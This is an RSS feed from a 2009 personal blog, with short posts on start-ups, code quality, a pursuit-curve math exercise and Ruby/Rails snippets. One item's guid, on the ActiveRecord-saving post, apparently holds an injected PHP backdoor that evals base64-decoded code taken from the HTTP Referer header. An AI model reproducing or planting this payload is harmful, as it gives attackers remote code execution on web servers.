<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>e-huned.com &#187; personal</title>
	<atom:link href="http://e-huned.com/category/personal/feed/" rel="self" type="application/rss+xml" />
	<link>http://e-huned.com</link>
	<description>huned botee</description>
	<lastBuildDate>Thu, 31 Dec 2009 17:58:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Crowdcast on FOX Business News</title>
		<link>http://e-huned.com/2009/12/31/crowdcast-on-fox-business-news/</link>
		<comments>http://e-huned.com/2009/12/31/crowdcast-on-fox-business-news/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 17:58:34 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1105</guid>
		<description><![CDATA[
Happy New Year, etc.
]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://video.foxbusiness.com/v/video-embed.html?video_id=3956674&amp;w=400&amp;h=300" width="400" height="300" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"></iframe></p>
<p>Happy New Year, etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/12/31/crowdcast-on-fox-business-news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to run a successful start-up?</title>
		<link>http://e-huned.com/2009/12/07/how-to-run-a-successful-start-up/</link>
		<comments>http://e-huned.com/2009/12/07/how-to-run-a-successful-start-up/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 05:01:30 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1097</guid>
		<description><![CDATA[The bay area is populated with fanboys who read (blogs?!) about start-ups, talk about start-ups, write about start-ups, go to start-up shindigs.  They talk big&#8230; real big.  It&#8217;s like some weird unhealthy infatuation with all that could be.
Yet, hanging out at their day jobs, they do not produce at all.  Reminder: step [...]]]></description>
			<content:encoded><![CDATA[<p>The bay area is populated with fanboys who read (blogs?!) about start-ups, talk about start-ups, write about start-ups, go to start-up shindigs.  They talk big&#8230; real big.  It&#8217;s like some weird unhealthy infatuation with all that could be.</p>
<p>Yet, hanging out at their day jobs, they do not produce at all.  Reminder: step 1 is to actually do stuff.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/12/07/how-to-run-a-successful-start-up/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Why pride of workmanship matters</title>
		<link>http://e-huned.com/2009/12/03/why-pride-of-workmanship-matters/</link>
		<comments>http://e-huned.com/2009/12/03/why-pride-of-workmanship-matters/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 22:32:30 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1093</guid>
		<description><![CDATA[Before you can be good at something, you have to want to be good at something.  Discovered this today little turd in my codebase today.

This is the work of someone who just doesn&#8217;t care.  So you could argue &#8220;what&#8217;s the harm, the guy got the work done.&#8221;  But if you adhere to [...]]]></description>
			<content:encoded><![CDATA[<p>Before you can be good at something, you have to want to be good at something.  Discovered this today little turd in my codebase today.</p>
<p><script src="http://gist.github.com/248593.js?file=bad+code"></script></p>
<p>This is the work of someone who just doesn&#8217;t care.  So you could argue &#8220;what&#8217;s the harm, the guy got the work done.&#8221;  But if you adhere to that approach the fall out is well understood: your system is poorly designed and it creaks and groans under every attempt to change it.  And so you have to live with it, in some horrible bizarro universe where ill designed system proscribes your creativity.</p>
<p>And now I have to re-do someone else&#8217;s work to prep it for doing my own work.  Mediocrity is expensive.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/12/03/why-pride-of-workmanship-matters/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The farmer and the pig</title>
		<link>http://e-huned.com/2009/11/28/the-farmer-and-the-pig/</link>
		<comments>http://e-huned.com/2009/11/28/the-farmer-and-the-pig/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 20:38:00 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1086</guid>
		<description><![CDATA[Found while scanning through one of my old books in search of some notes on constrained nonlinear optimization techniques.

(a) At t=0, a pig, initially at the origin, runs along the x axis with constant speed v.  At t=0, a farmer, initially 20 yd north of the origin, also runs with constant speed v.  [...]]]></description>
			<content:encoded><![CDATA[<p>Found while scanning through one of my old books in search of some notes on constrained nonlinear optimization techniques.</p>
<blockquote style="color: #666"><p>
(a) At <i>t=0</i>, a pig, initially at the origin, runs along the <i>x</i> axis with constant speed <i>v</i>.  At <i>t=0</i>, a farmer, initially 20 yd north of the origin, also runs with constant speed <i>v</i>.  If the farmer&#8217;s instantaneous velocity is always directed toward the instantaneous position of the pig, show that the farmer never gets closer than 10 yd from the pig.</p>
<p>(b) Now suppose that the pig starts over from <i>x=0</i>, <i>y=0</i>, and <i>t=0</i> and starts running at speed <i>v</i>.  The farmer still starts 20 yd north of the pig but can now run at a speed of <i> 3v/2</i>.  The farmer is assisted by his daughter who starts 15 yd south of the pig at <i>t=0</i> and can run at a speed of <i>4v/3</i>.  If both the farmer and the farmer&#8217;s daughter always run toward the instantaneous position of the pig, who catches the pig first?</p>
<p>(c) At <i>t=0</i> a pig initially at (1, 0) starts to run around the unit circle with constant speed <i>v</i>.  At <i>t=0</i>, a farmer initially at the origin runs with constant speed <i>v</i> and instantaneous velocity directed toward the instantaneous position of the pig.  Does the farmer catch the pig?
</p></blockquote>
<p>This is exercise 1.30 from <a href="http://www.amazon.com/Advanced-Mathematical-Methods-Scientists-Engineers/dp/0387989315/ref=sr_1_1?ie=UTF8&#038;s=books&#038;qid=1259440494&#038;sr=8-1">Advanced Mathematical Methods for Scientists and Engineers</a> (1978).</p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/11/28/the-farmer-and-the-pig/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>sparklines</title>
		<link>http://e-huned.com/2009/11/17/sparklines/</link>
		<comments>http://e-huned.com/2009/11/17/sparklines/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 19:14:55 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1078</guid>
		<description><![CDATA[beautiful



]]></description>
			<content:encoded><![CDATA[<p>beautiful</p>
<p><img src="http://farm3.static.flickr.com/2493/4112287749_20890dff84_o.png" style="border: none" /></p>
<p><img src="http://farm3.static.flickr.com/2446/4112287547_799a6d56b6_o.png" style="border: none" /></p>
<p><img src="http://farm3.static.flickr.com/2583/4112287533_4c7572be22_o.png" style="border: none" /></p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/11/17/sparklines/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Enumerable#avg is an average method for ruby&#8217;s enumerable module</title>
		<link>http://e-huned.com/2009/11/17/enumerableavg-is-an-average-method-for-rubys-enumerable-module/</link>
		<comments>http://e-huned.com/2009/11/17/enumerableavg-is-an-average-method-for-rubys-enumerable-module/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 17:18:44 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1071</guid>
		<description><![CDATA[Surprisingly, ActiveSupport&#8217;s core extensions don&#8217;t define a helpful average function in the Enumerable module.

wart:x3 huned$ script/console
Loading development environment (Rails 2.3.4)
>> [1,2,3,4].avg
NoMethodError: undefined method `avg' for [1, 2, 3, 4]:Array
	from (irb):1

The absence of an average method is strange given that Enumerable#sum is defined and that it&#8217;d be trivially simple to implement.  So monkeypatch config/initializers/enumerable.rb thusly:

Now [...]]]></description>
			<content:encoded><![CDATA[<p>Surprisingly, ActiveSupport&#8217;s core extensions don&#8217;t define a helpful average function in the <code>Enumerable</code> module.</p>
<p><code class="ruby"><br />
wart:x3 huned$ script/console<br />
Loading development environment (Rails 2.3.4)<br />
>> [1,2,3,4].avg<br />
NoMethodError: undefined method `avg' for [1, 2, 3, 4]:Array<br />
	from (irb):1<br />
</code></p>
<p>The absence of an average method is strange given that <code>Enumerable#sum</code> is defined and that it&#8217;d be trivially simple to implement.  So monkeypatch <code>config/initializers/enumerable.rb</code> thusly:</p>
<p><script src="http://gist.github.com/237064.js"></script></p>
<p>Now we&#8217;re good.</p>
<pre class="ruby">
wart:x3 huned$ script/console
Loading development environment (Rails 2.3.4)
>> [1,2,3].avg
=> 2.0
>> [1,2,3,4,5,6].avg
=> 3.5
</pre>
<p>Note that unlike ActiveSupport&#8217;s <code>Enumerable#sum</code> this method doesn&#8217;t accept an optional block.</p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/11/17/enumerableavg-is-an-average-method-for-rubys-enumerable-module/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Force ActiveRecord objects to save without validations</title>
		<link>http://e-huned.com/2009/09/04/force-activerecord-objects-to-save-without-validations/</link>
		<comments>http://e-huned.com/2009/09/04/force-activerecord-objects-to-save-without-validations/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 11:22:32 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/2009/09/04/force-activerecord-objects-to-save-without-validations/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[Sometimes you really, really want an ActiveRecord::Base to save.  One nefarious way:

]]></description>
			<content:encoded><![CDATA[<p>Sometimes you really, really want an <code>ActiveRecord::Base</code> to save.  One nefarious way:<br />
<script src="http://gist.github.com/180837.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/09/04/force-activerecord-objects-to-save-without-validations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emphasize a string in ruby</title>
		<link>http://e-huned.com/2009/06/27/emphasize-a-string-in-ruby/</link>
		<comments>http://e-huned.com/2009/06/27/emphasize-a-string-in-ruby/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 18:36:07 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1052</guid>
		<description><![CDATA[It ain&#8217;t pretty or fast, but it is effective.  Make it better.

]]></description>
			<content:encoded><![CDATA[<p>It ain&#8217;t pretty or fast, but it is effective.  Make it better.</p>
<p><script src="http://gist.github.com/135601.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/06/27/emphasize-a-string-in-ruby/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Array#min, Array#max to get restrictive, permissive roles</title>
		<link>http://e-huned.com/2009/06/16/role-permission-arithmetic-in-ruby/</link>
		<comments>http://e-huned.com/2009/06/16/role-permission-arithmetic-in-ruby/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 19:11:11 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1044</guid>
		<description><![CDATA[Just the interesting snippet:

]]></description>
			<content:encoded><![CDATA[<p>Just the interesting snippet:</p>
<p><script src="http://gist.github.com/130826.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/06/16/role-permission-arithmetic-in-ruby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>monkey patch HTTParty to use a timeout</title>
		<link>http://e-huned.com/2009/06/11/monkey-patch-httparty-to-use-a-timeout/</link>
		<comments>http://e-huned.com/2009/06/11/monkey-patch-httparty-to-use-a-timeout/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 22:29:35 +0000</pubDate>
		<dc:creator>huned</dc:creator>
				<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://e-huned.com/?p=1039</guid>
		<description><![CDATA[I&#8217;m using HTTParty to write a client to an API I&#8217;m developing.  One of the API calls is a setup thing and takes a long time to run, so HTTParty was barfing on timeouts.  So I monkey patched HTTParty&#8217;s Request class to accept a timeout.  No more barfs.

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m using HTTParty to write a client to an API I&#8217;m developing.  One of the API calls is a setup thing and takes a long time to run, so HTTParty was barfing on timeouts.  So I monkey patched HTTParty&#8217;s Request class to accept a timeout.  No more barfs.</p>
<p><script src="http://gist.github.com/128273.js"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://e-huned.com/2009/06/11/monkey-patch-httparty-to-use-a-timeout/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
